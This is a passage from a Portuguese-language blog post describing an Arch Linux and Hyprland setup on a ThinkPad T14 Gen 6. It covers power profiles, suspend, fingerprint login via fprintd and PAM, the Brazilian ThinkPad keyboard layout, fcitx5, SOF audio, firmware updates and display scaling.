</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$profile</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;performance&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$on_ac</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;1&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp auto &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;Plugged in — back to AC auto&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp bat &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;On battery — normal profile&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: off&#34;</span> <span class="s2">&#34;</span><span class="nv">$label</span><span class="s2">&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  sudo /usr/bin/tlp ac &gt;/dev/null
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: on&#34;</span> <span class="s2">&#34;Forcing AC profile&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No waybar, um módulo custom <code>custom/perf</code> mostra o estado atual (󰓅 PERF, 󰌪 ECO, ou vazio pra balanced) e aceita clique pra alternar. O script de output é bem curto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">p</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">  performance<span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;󰓅 PERF&#39;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  low-power<span class="o">)</span>   <span class="nb">printf</span> <span class="s1">&#39;󰌪 ECO&#39;</span>  <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  balanced<span class="p">|</span><span class="s2">&#34;&#34;</span><span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;&#39;</span>       <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  *<span class="o">)</span>           <span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Suspend, hibernate, e tampa<span class="hx:absolute hx:-mt-20" id="suspend-hibernate-e-tampa"></span>
    <a href="#suspend-hibernate-e-tampa" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Isso aqui é o que mudou em relação aos notebooks que eu usava em 2015. O T14 Gen 6 fecha a tampa, suspende, e acorda quando você abre de novo. Sem bug, sem delay estranho, sem precisar dar login de novo no meio da sessão gráfica. O hyprlock pega depois do suspend, aceita digital ou senha, e volta pro desktop em segundos. Isso é o comportamento que a gente tem na Apple há anos e que no Linux era uma aventura. Em 2026, em hardware moderno com kernel 6.11+, simplesmente funciona.</p>
<p>Mem sleep mode é s2idle (sem deep sleep). Hibernação habilitada via swapfile Btrfs de ~30 GB e <code>resume=/dev/mapper/root resume_offset=...</code> no kernel cmdline do Limine. Raramente uso, mas está lá.</p>
<p>O hypridle tem timeouts agressivos pra notebook:</p>
<ul>
<li>2.5 min → screensaver</li>
<li>5 min → lock</li>
<li>5.5 min → DPMS off + keyboard backlight off</li>
</ul>
<p>Depois de trancado, passa mais 5 min e a tela apaga de vez. No unlock, restaura brilho de tela e de teclado pro nível anterior. Essas timings são muito mais curtas que as do desktop (20-40 min lá). A diferença de bateria ao longo do dia é mensurável.</p>
<h3>Brilho e backlight de teclado<span class="hx:absolute hx:-mt-20" id="brilho-e-backlight-de-teclado"></span>
    <a href="#brilho-e-backlight-de-teclado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><code>brightnessctl</code> controla os dois. Fn+Space alterna o backlight do teclado em três níveis. Hypridle salva o nível atual antes de apagar e restaura no retorno. Comando que uso no script:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">brightnessctl -sd <span class="s1">&#39;*::kbd_backlight&#39;</span> <span class="nb">set</span> <span class="m">0</span>    <span class="c1"># salva e desliga</span>
</span></span><span class="line"><span class="cl">brightnessctl -rd <span class="s1">&#39;*::kbd_backlight&#39;</span>          <span class="c1"># restaura</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Touchpad<span class="hx:absolute hx:-mt-20" id="touchpad"></span>
    <a href="#touchpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>clickfinger_behavior</code> troca o clique de 2 dedos como botão direito (mais confortável que acertar a zona inferior direita). <code>disable_while_typing</code> é palm rejection básico. Três dedos horizontais alternam workspaces, o gesto mais útil no Hyprland.</p>
<h2>Configs específicos do Thinkpad<span class="hx:absolute hx:-mt-20" id="configs-específicos-do-thinkpad"></span>
    <a href="#configs-espec%c3%adficos-do-thinkpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui entra o que é particular desse modelo. Algumas coisas o Linux moderno já cobre sozinho, outras exigem configuração específica.</p>
<h3>Sensor de digital<span class="hx:absolute hx:-mt-20" id="sensor-de-digital"></span>
    <a href="#sensor-de-digital" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Goodix MOC <code>27c6:6594</code>, funciona com libfprint 1.94.9+ em kernel 6.11+. Pacote é <code>fprintd</code>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S fprintd
</span></span><span class="line"><span class="cl">fprintd-enroll                        <span class="c1"># dedo indicador direito por default</span>
</span></span><span class="line"><span class="cl">fprintd-enroll -f left-index-finger   <span class="c1"># outro dedo</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pro <code>sudo</code> aceitar digital, adiciono <code>auth sufficient pam_fprintd.so</code> acima da linha do <code>pam_unix.so</code> em <code>/etc/pam.d/sudo</code>. Com <code>sufficient</code>, se a digital passar, autentica direto. Se falhar ou se eu digitar ESC, cai pro prompt de senha. Isso vale a pena de verdade: dezenas de vezes por dia, <code>sudo pacman -Syu</code> ou <code>sudo systemctl restart algo</code>, e é só encostar o dedo.</p>
<p>No hyprlock, uso a configuração nativa do próprio hyprlock, não o PAM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A razão é que o caminho PAM dá prompt duplo. Configurado nativo, o hyprlock aceita digital ou senha, o que vier primeiro desbloqueia.</p>
<p>No SDDM (login inicial), deixei senha apenas. O motivo: a senha de login destrava o keyring do GNOME, e a digital não consegue fornecer plaintext pra isso. Depois que o keyring está destrancado, o hyprlock pode usar digital sem problema.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/sudo-asks-for-fingerprinting.png" alt="Prompt do sudo pedindo leitura de digital"  loading="lazy" /></p>
<p>Na prática, o sudo fica assim. Encosta o dedo, autentica, segue.</p>
<h3>Teclado brasileiro do Thinkpad<span class="hx:absolute hx:-mt-20" id="teclado-brasileiro-do-thinkpad"></span>
    <a href="#teclado-brasileiro-do-thinkpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O teclado brasileiro do Thinkpad tem uma peculiaridade chata. A tecla <code>/?</code> fica na posição que seria o Ctrl direito (keycode 97), não na posição AB11 tradicional do ABNT2 (keycode 89). Se você usar o layout padrão <code>br(abnt2)</code>, essa tecla fica inacessível. Literalmente não imprime nada.</p>
<p>A solução é o variant <code>br(thinkpad)</code> que existe em <code>/usr/share/X11/xkb/symbols/br</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>xkb_symbols &#34;thinkpad&#34; {
    include &#34;br(abnt2)&#34;
    name[Group1]=&#34;Portuguese (Brazil, IBM/Lenovo ThinkPad)&#34;;
    key &lt;RCTL&gt; { [ slash, question, degree, questiondown ] };
};</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E system-wide pra TTY/X11:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo localectl set-keymap br-abnt2
</span></span><span class="line"><span class="cl">sudo localectl set-x11-keymap br thinkpad thinkpad60</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Escrevi um pequeno Python que lê scancodes brutos de <code>/dev/input/event*</code> pra diagnosticar essas esquisitices. Útil quando uma tecla decide não funcionar e você precisa descobrir se é hardware, kernel, ou xkb.</p>
<h3>Input method: fcitx5<span class="hx:absolute hx:-mt-20" id="input-method-fcitx5"></span>
    <a href="#input-method-fcitx5" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Junto com o layout eu instalo fcitx5. Input method, pra quem não conhece, é a camada que transforma sequência de teclas em caracteres. É onde entram deadkeys (til pra nasalizar, acento agudo, circunflexo), composição de caracteres que não estão no teclado (ç, Ç, letras acentuadas em maiúscula), suporte a emoji. Em app Qt ou GTK, o input method também cuida dos menus de contexto pra cedilha e acentos.</p>
<p>Pacotes:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E as variáveis de ambiente pros toolkits encontrarem o fcitx5. Criei <code>~/.config/environment.d/fcitx.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>environment.d</code> do systemd é carregado antes das sessões gráficas, então Brave, Alacritty, VS Code e qualquer GTK/Qt pegam automaticamente. Habilito autostart no Hyprland:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>exec-once = fcitx5 -d</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Digitando <code>~a</code> vira <code>ã</code>, <code>'e</code> vira <code>é</code>, <code>ç</code> funciona como deveria em toda aplicação. Num teclado Thinkpad brasileiro, isso é a diferença entre conseguir escrever em português com naturalidade ou ficar catando letra.</p>
<h3>Áudio SOF<span class="hx:absolute hx:-mt-20" id="áudio-sof"></span>
    <a href="#%c3%a1udio-sof" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Codec Realtek ALC3306/ALC287 via Sound Open Firmware. Sem o <code>sof-firmware</code>, o módulo de kernel carrega mas o DSP nunca boota e o PipeWire cai silenciosamente pra <code>auto_null</code>. Resultado: você acha que o alto-falante está no mudo, mas na verdade o PipeWire não tem device nenhum.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se precisar forçar SOF em vez do HDA legacy:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;options snd-intel-dspcfg dsp_driver=3&#34;</span> <span class="p">|</span> sudo tee /etc/modprobe.d/alsa.conf</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Reload sem reboot:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo modprobe -r snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">sudo modprobe snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">systemctl --user restart wireplumber pipewire pipewire-pulse</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Firmware updates pelo fwupd<span class="hx:absolute hx:-mt-20" id="firmware-updates-pelo-fwupd"></span>
    <a href="#firmware-updates-pelo-fwupd" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/bios-update.jpg" alt="Firmware update da Lenovo (ME Corp) rodando no boot"  loading="lazy" /></p>
<p><code>fwupdmgr update</code> funciona, mas com Limine tem uma pegadinha: o fwupd tenta escrever em <code>/boot/EFI/systemd/</code> ou <code>/boot/EFI/arch/</code>, que não existem. O workaround:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mkdir -p /boot/EFI/arch
</span></span><span class="line"><span class="cl">sudo fwupdmgr update -y --no-reboot-check
</span></span><span class="line"><span class="cl">fwupdmgr get-history  <span class="c1"># deve mostrar &#34;Success&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>HiDPI / fractional scaling<span class="hx:absolute hx:-mt-20" id="hidpi--fractional-scaling"></span>
    <a href="#hidpi--fractional-scaling" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Painel 14&quot; em 1920x1200 numa resolução do Hyprland livre. O auto 1.5x do Omarchy ficava chunky demais. Fixei em 1.333x:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Efetivo 1440x900. GTK com <code>GDK_SCALE=1</code> renderiza 1:1 com o Hyprland (não magnifica duplo). VRR mode 2 só em fullscreen, porque painéis LCD tendem a cintilar em conteúdo estático com VRR ativa.</p>
